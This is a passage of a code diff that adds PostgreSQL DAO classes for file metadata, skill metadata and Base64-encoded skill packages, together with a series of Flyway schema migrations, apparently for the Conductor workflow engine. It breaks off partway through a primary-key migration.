storage_content_hash = ?, " + + "storage_content_size = ?, updated_at = CURRENT_TIMESTAMP " + + "WHERE file_id = ?"; + + private static final String SELECT_BY_WORKFLOW = + "SELECT * FROM file_metadata WHERE workflow_id = ?"; + + private static final String SELECT_BY_TASK = "SELECT * FROM file_metadata WHERE task_id = ?"; + + public PostgresFileMetadataDAO( + RetryTemplate retryTemplate, ObjectMapper objectMapper, DataSource dataSource) { + super(retryTemplate, objectMapper, dataSource); + } + + @Override + public void createFileMetadata(FileModel fileModel) { + executeWithTransaction( + INSERT_FILE, + q -> + q.addParameter(fileModel.getFileId()) + .addParameter(fileModel.getFileName()) + .addParameter(fileModel.getContentType()) + .addParameter(fileModel.getStorageType().name()) + .addParameter(fileModel.getStoragePath()) + .addParameter(fileModel.getUploadStatus().name()) + .addParameter(fileModel.getWorkflowId()) + .addParameter(fileModel.getTaskId()) + .addParameter(Timestamp.from(fileModel.getCreatedAt())) + .addParameter(Timestamp.from(fileModel.getUpdatedAt())) + .executeUpdate()); + } + + @Override + public FileModel getFileMetadata(String fileId) { + return queryWithTransaction( + SELECT_BY_ID, + q -> + q.addParameter(fileId) + .executeAndFetch( + rs -> { + if (!rs.next()) return null; + return toFileModel(rs); + })); + } + + @Override + public void updateUploadStatus(String fileId, FileUploadStatus status) { + executeWithTransaction( + UPDATE_STATUS, + q -> q.addParameter(status.name()).addParameter(fileId).executeUpdate()); + } + + @Override + public void updateUploadComplete( + String fileId, FileUploadStatus status, String contentHash, long contentSize) { + executeWithTransaction( + UPDATE_UPLOAD_COMPLETE, + q -> + q.addParameter(status.name()) + .addParameter(contentHash) + .addParameter(contentSize) + .addParameter(fileId) + .executeUpdate()); + } + + @Override + public List getFilesByWorkflowId(String workflowId) { + return queryWithTransaction( + SELECT_BY_WORKFLOW, + q -> q.addParameter(workflowId).executeAndFetch(this::toFileModelList)); + } + + @Override + public List getFilesByTaskId(String taskId) { + return queryWithTransaction( + SELECT_BY_TASK, q -> q.addParameter(taskId).executeAndFetch(this::toFileModelList)); + } + + private List toFileModelList(ResultSet rs) throws SQLException { + List list = new ArrayList<>(); + while (rs.next()) { + list.add(toFileModel(rs)); + } + return list; + } + + private FileModel toFileModel(ResultSet rs) throws SQLException { + FileModel model = new FileModel(); + model.setFileId(rs.getString("file_id")); + model.setFileName(rs.getString("file_name")); + model.setContentType(rs.getString("content_type")); + model.setStorageContentHash(rs.getString("storage_content_hash")); + long scs = rs.getLong("storage_content_size"); + model.setStorageContentSize(rs.wasNull() ? 0 : scs); + model.setStorageType(StorageType.valueOf(rs.getString("storage_type"))); + model.setStoragePath(rs.getString("storage_path")); + model.setUploadStatus(FileUploadStatus.valueOf(rs.getString("upload_status"))); + model.setWorkflowId(rs.getString("workflow_id")); + model.setTaskId(rs.getString("task_id")); + Timestamp createdAt = rs.getTimestamp("created_at"); + if (createdAt != null) model.setCreatedAt(createdAt.toInstant()); + Timestamp updatedAt = rs.getTimestamp("updated_at"); + if (updatedAt != null) model.setUpdatedAt(updatedAt.toInstant()); + return model; + } +} diff --git a/postgres-persistence/src/main/java/org/conductoross/conductor/postgres/dao/PostgresSkillMetadataDAO.java b/postgres-persistence/src/main/java/org/conductoross/conductor/postgres/dao/PostgresSkillMetadataDAO.java new file mode 100644 index 0000000..d698164 --- /dev/null +++ b/postgres-persistence/src/main/java/org/conductoross/conductor/postgres/dao/PostgresSkillMetadataDAO.java @@ -0,0 +1,205 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.postgres.dao; + +import java.sql.ResultSet; +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.List; +import java.util.Optional; + +import javax.sql.DataSource; + +import org.conductoross.conductor.dao.SkillMetadataDAO; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.postgres.dao.PostgresBaseDAO; + +import com.fasterxml.jackson.databind.ObjectMapper; + +/** PostgreSQL {@link SkillMetadataDAO} — table {@code skill_metadata}. */ +public class PostgresSkillMetadataDAO extends PostgresBaseDAO implements SkillMetadataDAO { + + private static final String CLEAR_LATEST = + "UPDATE skill_metadata SET is_latest = ? WHERE owner_id = ? AND name = ?"; + + private static final String UPSERT_LATEST = + "INSERT INTO skill_metadata (owner_id, name, version, is_latest, detail_json, created_at, updated_at) " + + "VALUES (?, ?, ?, ?, ?, ?, ?) " + + "ON CONFLICT (owner_id, name, version) DO UPDATE SET " + + "is_latest = excluded.is_latest, detail_json = excluded.detail_json, " + + "updated_at = excluded.updated_at"; + + private static final String UPSERT_NO_LATEST = + "INSERT INTO skill_metadata (owner_id, name, version, is_latest, detail_json, created_at, updated_at) " + + "VALUES (?, ?, ?, ?, ?, ?, ?) " + + "ON CONFLICT (owner_id, name, version) DO UPDATE SET " + + "detail_json = excluded.detail_json, updated_at = excluded.updated_at"; + + private static final String SELECT_DETAIL = + "SELECT detail_json FROM skill_metadata WHERE owner_id = ? AND name = ? AND version = ?"; + + private static final String SELECT_LATEST_VERSION = + "SELECT version FROM skill_metadata WHERE owner_id = ? AND name = ? AND is_latest = ?"; + + private static final String SELECT_VERSIONS = + "SELECT detail_json FROM skill_metadata WHERE owner_id = ? AND name = ?"; + + private static final String SELECT_ALL = + "SELECT detail_json FROM skill_metadata WHERE owner_id = ?"; + + private static final String SELECT_LATEST_ALL = + "SELECT detail_json FROM skill_metadata WHERE owner_id = ? AND is_latest = ?"; + + private static final String DELETE_ONE = + "DELETE FROM skill_metadata WHERE owner_id = ? AND name = ? AND version = ?"; + + private static final String SELECT_NEWEST_REMAINING = + "SELECT version FROM skill_metadata WHERE owner_id = ? AND name = ? " + + "ORDER BY updated_at DESC NULLS LAST LIMIT 1"; + + private static final String SET_LATEST = + "UPDATE skill_metadata SET is_latest = ? WHERE owner_id = ? AND name = ? AND version = ?"; + + public PostgresSkillMetadataDAO( + RetryTemplate retryTemplate, ObjectMapper objectMapper, DataSource dataSource) { + super(retryTemplate, objectMapper, dataSource); + } + + @Override + public void save( + String ownerId, + String name, + String version, + boolean makeLatest, + String detailJson, + Long createdAt, + Long updatedAt) { + if (makeLatest) { + executeWithTransaction( + CLEAR_LATEST, + q -> + q.addParameter(false) + .addParameter(ownerId) + .addParameter(name) + .executeUpdate()); + executeWithTransaction( + UPSERT_LATEST, + q -> + q.addParameter(ownerId) + .addParameter(name) + .addParameter(version) + .addParameter(true) + .addParameter(detailJson) + .addParameter(createdAt) + .addParameter(updatedAt) + .executeUpdate()); + } else { + executeWithTransaction( + UPSERT_NO_LATEST, + q -> + q.addParameter(ownerId) + .addParameter(name) + .addParameter(version) + .addParameter(false) + .addParameter(detailJson) + .addParameter(createdAt) + .addParameter(updatedAt) + .executeUpdate()); + } + } + + @Override + public Optional find(String ownerId, String name, String version) { + String json = + queryWithTransaction( + SELECT_DETAIL, + q -> + q.addParameter(ownerId) + .addParameter(name) + .addParameter(version) + .executeAndFetch(rs -> rs.next() ? rs.getString(1) : null)); + return Optional.ofNullable(json); + } + + @Override + public Optional latestVersion(String ownerId, String name) { + String version = + queryWithTransaction( + SELECT_LATEST_VERSION, + q -> + q.addParameter(ownerId) + .addParameter(name) + .addParameter(true) + .executeAndFetch(rs -> rs.next() ? rs.getString(1) : null)); + return Optional.ofNullable(version); + } + + @Override + public List listVersions(String ownerId, String name) { + return queryWithTransaction( + SELECT_VERSIONS, + q -> q.addParameter(ownerId).addParameter(name).executeAndFetch(this::toJsonList)); + } + + @Override + public List list(String ownerId, boolean allVersions) { + if (allVersions) { + return queryWithTransaction( + SELECT_ALL, q -> q.addParameter(ownerId).executeAndFetch(this::toJsonList)); + } + return queryWithTransaction( + SELECT_LATEST_ALL, + q -> q.addParameter(ownerId).addParameter(true).executeAndFetch(this::toJsonList)); + } + + @Override + public void delete(String ownerId, String name, String version) { + Optional latest = latestVersion(ownerId, name); + executeWithTransaction( + DELETE_ONE, + q -> + q.addParameter(ownerId) + .addParameter(name) + .addParameter(version) + .executeUpdate()); + if (latest.isPresent() && latest.get().equals(version)) { + String newest = + queryWithTransaction( + SELECT_NEWEST_REMAINING, + q -> + q.addParameter(ownerId) + .addParameter(name) + .executeAndFetch( + rs -> rs.next() ? rs.getString(1) : null)); + if (newest != null) { + executeWithTransaction( + SET_LATEST, + q -> + q.addParameter(true) + .addParameter(ownerId) + .addParameter(name) + .addParameter(newest) + .executeUpdate()); + } + } + } + + private List toJsonList(ResultSet rs) throws SQLException { + List list = new ArrayList<>(); + while (rs.next()) { + list.add(rs.getString(1)); + } + return list; + } +} diff --git a/postgres-persistence/src/main/java/org/conductoross/conductor/postgres/dao/PostgresSkillPackageDAO.java b/postgres-persistence/src/main/java/org/conductoross/conductor/postgres/dao/PostgresSkillPackageDAO.java new file mode 100644 index 0000000..37b2443 --- /dev/null +++ b/postgres-persistence/src/main/java/org/conductoross/conductor/postgres/dao/PostgresSkillPackageDAO.java @@ -0,0 +1,81 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.postgres.dao; + +import java.util.Base64; + +import javax.sql.DataSource; + +import org.conductoross.conductor.dao.SkillPackageDAO; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.postgres.dao.PostgresBaseDAO; + +import com.fasterxml.jackson.databind.ObjectMapper; + +/** PostgreSQL {@link SkillPackageDAO} — table {@code skill_package} (Base64-encoded bytes). */ +public class PostgresSkillPackageDAO extends PostgresBaseDAO implements SkillPackageDAO { + + private static final String UPSERT = + "INSERT INTO skill_package (handle, data, size_bytes, created_at) VALUES (?, ?, ?, ?) " + + "ON CONFLICT (handle) DO UPDATE SET data = excluded.data, size_bytes = excluded.size_bytes"; + + private static final String SELECT = "SELECT data FROM skill_package WHERE handle = ?"; + + private static final String EXISTS = "SELECT 1 FROM skill_package WHERE handle = ?"; + + private static final String DELETE = "DELETE FROM skill_package WHERE handle = ?"; + + public PostgresSkillPackageDAO( + RetryTemplate retryTemplate, ObjectMapper objectMapper, DataSource dataSource) { + super(retryTemplate, objectMapper, dataSource); + } + + @Override + public void put(String handle, byte[] data) { + String encoded = Base64.getEncoder().encodeToString(data); + executeWithTransaction( + UPSERT, + q -> + q.addParameter(handle) + .addParameter(encoded) + .addParameter((long) data.length) + .addParameter(System.currentTimeMillis()) + .executeUpdate()); + } + + @Override + public byte[] get(String handle) { + String encoded = + queryWithTransaction( + SELECT, + q -> + q.addParameter(handle) + .executeAndFetch(rs -> rs.next() ? rs.getString(1) : null)); + return encoded == null ? null : Base64.getDecoder().decode(encoded); + } + + @Override + public boolean exists(String handle) { + Boolean present = + queryWithTransaction( + EXISTS, + q -> q.addParameter(handle).executeAndFetch(java.sql.ResultSet::next)); + return Boolean.TRUE.equals(present); + } + + @Override + public void delete(String handle) { + executeWithTransaction(DELETE, q -> q.addParameter(handle).executeUpdate()); + } +} diff --git a/postgres-persistence/src/main/resources/db/migration_postgres/V10__poll_data_check.sql b/postgres-persistence/src/main/resources/db/migration_postgres/V10__poll_data_check.sql new file mode 100644 index 0000000..8bdbebe --- /dev/null +++ b/postgres-persistence/src/main/resources/db/migration_postgres/V10__poll_data_check.sql @@ -0,0 +1,13 @@ +CREATE OR REPLACE FUNCTION poll_data_update_check () + RETURNS TRIGGER + AS $$ +BEGIN + IF(NEW.json_data::json ->> 'lastPollTime')::BIGINT < (OLD.json_data::json ->> 'lastPollTime')::BIGINT THEN + RAISE EXCEPTION 'lastPollTime cannot be set to a lower value'; + END IF; + RETURN NEW; +END; +$$ +LANGUAGE plpgsql; + +CREATE TRIGGER poll_data_update_check_trigger BEFORE UPDATE ON poll_data FOR EACH ROW EXECUTE FUNCTION poll_data_update_check (); \ No newline at end of file diff --git a/postgres-persistence/src/main/resources/db/migration_postgres/V11__locking.sql b/postgres-persistence/src/main/resources/db/migration_postgres/V11__locking.sql new file mode 100644 index 0000000..f2062d9 --- /dev/null +++ b/postgres-persistence/src/main/resources/db/migration_postgres/V11__locking.sql @@ -0,0 +1,4 @@ +CREATE TABLE IF NOT EXISTS locks ( + lock_id VARCHAR PRIMARY KEY, + lease_expiration TIMESTAMP WITH TIME ZONE NOT NULL +); diff --git a/postgres-persistence/src/main/resources/db/migration_postgres/V12__task_index_columns.sql b/postgres-persistence/src/main/resources/db/migration_postgres/V12__task_index_columns.sql new file mode 100644 index 0000000..62697e7 --- /dev/null +++ b/postgres-persistence/src/main/resources/db/migration_postgres/V12__task_index_columns.sql @@ -0,0 +1,5 @@ +ALTER TABLE task_index +ALTER COLUMN task_type TYPE TEXT; + +ALTER TABLE task_index +ALTER COLUMN task_def_name TYPE TEXT; diff --git a/postgres-persistence/src/main/resources/db/migration_postgres/V13.1__workflow_index_columns.sql b/postgres-persistence/src/main/resources/db/migration_postgres/V13.1__workflow_index_columns.sql new file mode 100644 index 0000000..f36334d --- /dev/null +++ b/postgres-persistence/src/main/resources/db/migration_postgres/V13.1__workflow_index_columns.sql @@ -0,0 +1,6 @@ +ALTER TABLE workflow_index + ADD COLUMN IF NOT EXISTS update_time TIMESTAMP WITH TIME ZONE NOT NULL DEFAULT TIMESTAMP WITH TIME ZONE 'epoch'; + +-- SET DEFAULT AGAIN IN CASE COLUMN ALREADY EXISTED from deleted V13 migration +ALTER TABLE workflow_index + ALTER COLUMN update_time SET DEFAULT TIMESTAMP WITH TIME ZONE 'epoch'; diff --git a/postgres-persistence/src/main/resources/db/migration_postgres/V14__parent_workflow_id.sql b/postgres-persistence/src/main/resources/db/migration_postgres/V14__parent_workflow_id.sql new file mode 100644 index 0000000..b136f33 --- /dev/null +++ b/postgres-persistence/src/main/resources/db/migration_postgres/V14__parent_workflow_id.sql @@ -0,0 +1,2 @@ +ALTER TABLE workflow_index ADD COLUMN parent_workflow_id VARCHAR(255) NOT NULL DEFAULT ''; +CREATE INDEX workflow_index_parent_workflow_id_idx ON workflow_index (parent_workflow_id); diff --git a/postgres-persistence/src/main/resources/db/migration_postgres/V15__file_metadata.sql b/postgres-persistence/src/main/resources/db/migration_postgres/V15__file_metadata.sql new file mode 100644 index 0000000..827f3fe --- /dev/null +++ b/postgres-persistence/src/main/resources/db/migration_postgres/V15__file_metadata.sql @@ -0,0 +1,18 @@ +CREATE TABLE IF NOT EXISTS file_metadata ( + file_id VARCHAR(255) NOT NULL PRIMARY KEY, + file_name VARCHAR(1024) NOT NULL, + content_type VARCHAR(255) NOT NULL, + storage_content_hash VARCHAR(255), + storage_content_size BIGINT, + storage_type VARCHAR(50) NOT NULL, + storage_path VARCHAR(2048) NOT NULL, + upload_status VARCHAR(50) NOT NULL DEFAULT 'UPLOADING', + workflow_id VARCHAR(255) NOT NULL, + task_id VARCHAR(255), + created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + updated_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP +); + +CREATE INDEX IF NOT EXISTS idx_file_metadata_workflow_id ON file_metadata (workflow_id); +CREATE INDEX IF NOT EXISTS idx_file_metadata_task_id ON file_metadata (task_id); +CREATE INDEX IF NOT EXISTS idx_file_metadata_upload_status ON file_metadata (upload_status); diff --git a/postgres-persistence/src/main/resources/db/migration_postgres/V16__agentspan_skills.sql b/postgres-persistence/src/main/resources/db/migration_postgres/V16__agentspan_skills.sql new file mode 100644 index 0000000..0163f57 --- /dev/null +++ b/postgres-persistence/src/main/resources/db/migration_postgres/V16__agentspan_skills.sql @@ -0,0 +1,21 @@ +-- AgentSpan skill storage (conductor.integrations.ai.enabled). Metadata + package bytes. +CREATE TABLE IF NOT EXISTS skill_metadata ( + owner_id VARCHAR(255) NOT NULL, + name VARCHAR(255) NOT NULL, + version VARCHAR(255) NOT NULL, + is_latest BOOLEAN NOT NULL DEFAULT FALSE, + detail_json TEXT NOT NULL, + created_at BIGINT, + updated_at BIGINT, + PRIMARY KEY (owner_id, name, version) +); + +CREATE INDEX IF NOT EXISTS idx_skill_metadata_owner_name ON skill_metadata (owner_id, name); + +-- Package bytes are stored Base64-encoded so the value binds uniformly across backends. +CREATE TABLE IF NOT EXISTS skill_package ( + handle VARCHAR(255) NOT NULL PRIMARY KEY, + data TEXT NOT NULL, + size_bytes BIGINT, + created_at BIGINT +); diff --git a/postgres-persistence/src/main/resources/db/migration_postgres/V17__workflow_index_classifier.sql b/postgres-persistence/src/main/resources/db/migration_postgres/V17__workflow_index_classifier.sql new file mode 100644 index 0000000..8225501 --- /dev/null +++ b/postgres-persistence/src/main/resources/db/migration_postgres/V17__workflow_index_classifier.sql @@ -0,0 +1,6 @@ +-- Classifier of the workflow definition an execution was started from (e.g. 'workflow' for a +-- plain workflow, 'agent' for AgentSpan agents). Derived from WorkflowDef.metadata at index time. +-- Rows indexed before this migration keep a NULL classifier and are treated as untagged +-- ('workflow') by the search query builder. +ALTER TABLE workflow_index ADD COLUMN classifier VARCHAR(255); +CREATE INDEX workflow_index_classifier_idx ON workflow_index (classifier, start_time); diff --git a/postgres-persistence/src/main/resources/db/migration_postgres/V1__initial_schema.sql b/postgres-persistence/src/main/resources/db/migration_postgres/V1__initial_schema.sql new file mode 100644 index 0000000..a76611b --- /dev/null +++ b/postgres-persistence/src/main/resources/db/migration_postgres/V1__initial_schema.sql @@ -0,0 +1,173 @@ + +-- -------------------------------------------------------------------------------------------------------------- +-- SCHEMA FOR METADATA DAO +-- -------------------------------------------------------------------------------------------------------------- + +CREATE TABLE meta_event_handler ( + id SERIAL, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + modified_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + name varchar(255) NOT NULL, + event varchar(255) NOT NULL, + active boolean NOT NULL, + json_data TEXT NOT NULL, + PRIMARY KEY (id) +); +CREATE INDEX event_handler_name_index ON meta_event_handler (name); +CREATE INDEX event_handler_event_index ON meta_event_handler (event); + +CREATE TABLE meta_task_def ( + id SERIAL, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + modified_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + name varchar(255) NOT NULL, + json_data TEXT NOT NULL, + PRIMARY KEY (id) +); +CREATE UNIQUE INDEX unique_task_def_name ON meta_task_def (name); + +CREATE TABLE meta_workflow_def ( + id SERIAL, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + modified_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + name varchar(255) NOT NULL, + version int NOT NULL, + latest_version int NOT NULL DEFAULT 0, + json_data TEXT NOT NULL, + PRIMARY KEY (id) +); +CREATE UNIQUE INDEX unique_name_version ON meta_workflow_def (name,version); +CREATE INDEX workflow_def_name_index ON meta_workflow_def (name); + +-- -------------------------------------------------------------------------------------------------------------- +-- SCHEMA FOR EXECUTION DAO +-- -------------------------------------------------------------------------------------------------------------- + +CREATE TABLE event_execution ( + id SERIAL, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + modified_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + event_handler_name varchar(255) NOT NULL, + event_name varchar(255) NOT NULL, + message_id varchar(255) NOT NULL, + execution_id varchar(255) NOT NULL, + json_data TEXT NOT NULL, + PRIMARY KEY (id) +); +CREATE UNIQUE INDEX unique_event_execution ON event_execution (event_handler_name,event_name,message_id); + +CREATE TABLE poll_data ( + id SERIAL, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + modified_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + queue_name varchar(255) NOT NULL, + domain varchar(255) NOT NULL, + json_data TEXT NOT NULL, + PRIMARY KEY (id) +); +CREATE UNIQUE INDEX unique_poll_data ON poll_data (queue_name,domain); +CREATE INDEX ON poll_data (queue_name); + +CREATE TABLE task_scheduled ( + id SERIAL, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + modified_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + workflow_id varchar(255) NOT NULL, + task_key varchar(255) NOT NULL, + task_id varchar(255) NOT NULL, + PRIMARY KEY (id) +); +CREATE UNIQUE INDEX unique_workflow_id_task_key ON task_scheduled (workflow_id,task_key); + +CREATE TABLE task_in_progress ( + id SERIAL, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + modified_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + task_def_name varchar(255) NOT NULL, + task_id varchar(255) NOT NULL, + workflow_id varchar(255) NOT NULL, + in_progress_status boolean NOT NULL DEFAULT false, + PRIMARY KEY (id) +); +CREATE UNIQUE INDEX unique_task_def_task_id1 ON task_in_progress (task_def_name,task_id); + +CREATE TABLE task ( + id SERIAL, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + modified_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + task_id varchar(255) NOT NULL, + json_data TEXT NOT NULL, + PRIMARY KEY (id) +); +CREATE UNIQUE INDEX unique_task_id ON task (task_id); + +CREATE TABLE workflow ( + id SERIAL, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + modified_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + workflow_id varchar(255) NOT NULL, + correlation_id varchar(255), + json_data TEXT NOT NULL, + PRIMARY KEY (id) +); +CREATE UNIQUE INDEX unique_workflow_id ON workflow (workflow_id); + +CREATE TABLE workflow_def_to_workflow ( + id SERIAL, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + modified_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + workflow_def varchar(255) NOT NULL, + date_str varchar(60), + workflow_id varchar(255) NOT NULL, + PRIMARY KEY (id) +); +CREATE UNIQUE INDEX unique_workflow_def_date_str ON workflow_def_to_workflow (workflow_def,date_str,workflow_id); + +CREATE TABLE workflow_pending ( + id SERIAL, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + modified_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + workflow_type varchar(255) NOT NULL, + workflow_id varchar(255) NOT NULL, + PRIMARY KEY (id) +); +CREATE UNIQUE INDEX unique_workflow_type_workflow_id ON workflow_pending (workflow_type,workflow_id); +CREATE INDEX workflow_type_index ON workflow_pending (workflow_type); + +CREATE TABLE workflow_to_task ( + id SERIAL, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + modified_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + workflow_id varchar(255) NOT NULL, + task_id varchar(255) NOT NULL, + PRIMARY KEY (id) +); +CREATE UNIQUE INDEX unique_workflow_to_task_id ON workflow_to_task (workflow_id,task_id); +CREATE INDEX workflow_id_index ON workflow_to_task (workflow_id); + +-- -------------------------------------------------------------------------------------------------------------- +-- SCHEMA FOR QUEUE DAO +-- -------------------------------------------------------------------------------------------------------------- + +CREATE TABLE queue ( + id SERIAL, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + queue_name varchar(255) NOT NULL, + PRIMARY KEY (id) +); +CREATE UNIQUE INDEX unique_queue_name ON queue (queue_name); + +CREATE TABLE queue_message ( + id SERIAL, + created_on TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + deliver_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + queue_name varchar(255) NOT NULL, + message_id varchar(255) NOT NULL, + priority integer DEFAULT 0, + popped boolean DEFAULT false, + offset_time_seconds BIGINT, + payload TEXT, + PRIMARY KEY (id) +); +CREATE UNIQUE INDEX unique_queue_name_message_id ON queue_message (queue_name,message_id); +CREATE INDEX combo_queue_message ON queue_message (queue_name,popped,deliver_on,created_on); diff --git a/postgres-persistence/src/main/resources/db/migration_postgres/V2__1009_Fix_PostgresExecutionDAO_Index.sql b/postgres-persistence/src/main/resources/db/migration_postgres/V2__1009_Fix_PostgresExecutionDAO_Index.sql new file mode 100644 index 0000000..03b132a --- /dev/null +++ b/postgres-persistence/src/main/resources/db/migration_postgres/V2__1009_Fix_PostgresExecutionDAO_Index.sql @@ -0,0 +1,3 @@ +DROP INDEX IF EXISTS unique_event_execution; + +CREATE UNIQUE INDEX unique_event_execution ON event_execution (event_handler_name,event_name,execution_id); \ No newline at end of file diff --git a/postgres-persistence/src/main/resources/db/migration_postgres/V3__correlation_id_index.sql b/postgres-persistence/src/main/resources/db/migration_postgres/V3__correlation_id_index.sql new file mode 100644 index 0000000..9ced890 --- /dev/null +++ b/postgres-persistence/src/main/resources/db/migration_postgres/V3__correlation_id_index.sql @@ -0,0 +1,3 @@ +DROP INDEX IF EXISTS workflow_corr_id_index; + +CREATE INDEX workflow_corr_id_index ON workflow (correlation_id); \ No newline at end of file diff --git a/postgres-persistence/src/main/resources/db/migration_postgres/V4__new_qm_index_with_priority.sql b/postgres-persistence/src/main/resources/db/migration_postgres/V4__new_qm_index_with_priority.sql new file mode 100644 index 0000000..23d12a3 --- /dev/null +++ b/postgres-persistence/src/main/resources/db/migration_postgres/V4__new_qm_index_with_priority.sql @@ -0,0 +1,3 @@ +DROP INDEX IF EXISTS combo_queue_message; + +CREATE INDEX combo_queue_message ON queue_message (queue_name,priority,popped,deliver_on,created_on); \ No newline at end of file diff --git a/postgres-persistence/src/main/resources/db/migration_postgres/V5__new_queue_message_pk.sql b/postgres-persistence/src/main/resources/db/migration_postgres/V5__new_queue_message_pk.sql new file mode 100644 index 0000000..6fefa60 --- /dev/null +++ b/postgres-persistence/src/main/resources/db/migration_postgres/V5__new_queue_message_pk.sql @@ -0,0 +1,11 @@ +-- no longer need separate index if pk is queue_name, message_id +DROP INDEX IF EXISTS unique_queue_name_message_id; + +-- remove id primary key +ALTER TABLE queue_message DROP CONSTRAINT IF EXISTS queue_message_pkey; + +-- remove id column +ALTER TABLE queue_message DROP COLUMN IF EXISTS id; + +-- set primary key to queue_name, message_id +ALTER TABLE queue_message ADD PRIMARY KEY (queue_name, message_id); diff --git a/postgres-persistence/src/main/resources/db/migration_postgres/V6__update_pk.sql b/postgres-persistence/src/main/resources/db/migration_postgres/V6__update_pk.sql new file mode 100644 index 0000000..2461354 --- /dev/null +++ b/postgres-persistence/src/main/resources/db/migration_postgres/V6__update_pk.sql @@ -0,0 +1,77 @@ +-- 1) queue_message +DROP INDEX IF EXISTS unique_queue_name_message_id; +ALTER TABLE queue_message DROP CONSTRAINT IF EXISTS queue_message_pkey; +ALTER TABLE queue_message DROP COLUMN IF EXISTS id; +ALTER TABLE queue_message ADD PRIMARY KEY (queue_name, message_id); + +-- 2) queue +DROP INDEX IF EXISTS unique_queue_name; +ALTER TABLE queue DROP CONSTRAINT IF EXISTS queue_pkey; +ALTER TABLE queue DROP COLUMN IF EXISTS id; +ALTER TABLE queue ADD PRIMARY KEY (queue_name); + +-- 3) workflow_to_task +DROP INDEX IF EXISTS unique_workflow_to_task_id; +ALTER TABLE workflow_to_task DROP CONSTRAINT IF EXISTS workflow_to_task_pkey; +ALTER TABLE workflow_to_task DROP COLUMN IF EXISTS id; +ALTER TABLE workflow_to_task ADD PRIMARY KEY (workflow_id, task_id); + +-- 4) workflow_pending +DROP INDEX IF EXISTS unique_workflow_type_workflow_id; +ALTER TABLE workflow_pending DROP CONSTRAINT IF EXISTS workflow_pending_pkey; +ALTER TABLE workflow_pending DROP COLUMN IF EXISTS id; +ALTER TABLE workflow_pending ADD PRIMARY KEY (workflow_type, workflow_id); + +-- 5) workflow_def_to_workflow +DROP INDEX IF EXISTS unique_workflow_def_date_str; +ALTER TABLE workflow_def_to_workflow DROP CONSTRAINT IF EXISTS workflow_def_to_workflow_pkey; +ALTER TABLE workflow_def_to_workflow DROP COLUMN IF EXISTS id; +ALTER TABLE workflow_def_to_workflow ADD PRIMARY KEY (workflow_def, date_str, workflow_id); + +-- 6) workflow +DROP INDEX IF EXISTS unique_workflow_id; +ALTER TABLE workflow DROP CONSTRAINT IF EXISTS workflow_pkey; +ALTER TABLE workflow DROP COLUMN IF EXISTS id; +ALTER TABLE workflow ADD PRIMARY KEY (workflow_id); + +-- 7) task +DROP INDEX IF EXISTS unique_task_id; +ALTER TABLE task DROP CONSTRAINT IF EXISTS task_pkey; +ALTER TABLE task DROP COLUMN IF EXISTS id; +ALTER TABLE task ADD PRIMARY KEY (task_id); + +-- 8) task_in_progress +DROP INDEX IF EXISTS unique_task_def_task_id1; +ALTER TABLE task_in_progress DROP CONSTRAINT IF EXISTS task_in_progress_pkey; +ALTER TABLE task_in_progress DROP COLUMN IF EXISTS id; +ALTER TABLE task_in_progress ADD PRIMARY KEY (task_def_name, task_id); + +-- 9) task_scheduled +DROP INDEX IF EXISTS unique_workflow_id_task_key; +ALTER TABLE task_scheduled DROP CONSTRAINT IF EXISTS task_scheduled_pkey; +ALTER TABLE task_scheduled DROP COLUMN IF EXISTS id; +ALTER TABLE task_scheduled ADD PRIMARY KEY (workflow_id, task_key); + +-- 10) poll_data +DROP INDEX IF EXISTS unique_poll_data; +ALTER TABLE poll_data DROP CONSTRAINT IF EXISTS poll_data_pkey; +ALTER TABLE poll_data DROP COLUMN IF EXISTS id; +ALTER TABLE poll_data ADD PRIMARY KEY (queue_name, domain); + +-- 11) event_execution +DROP INDEX IF EXISTS unique_event_execution; +ALTER TABLE event_execution DROP 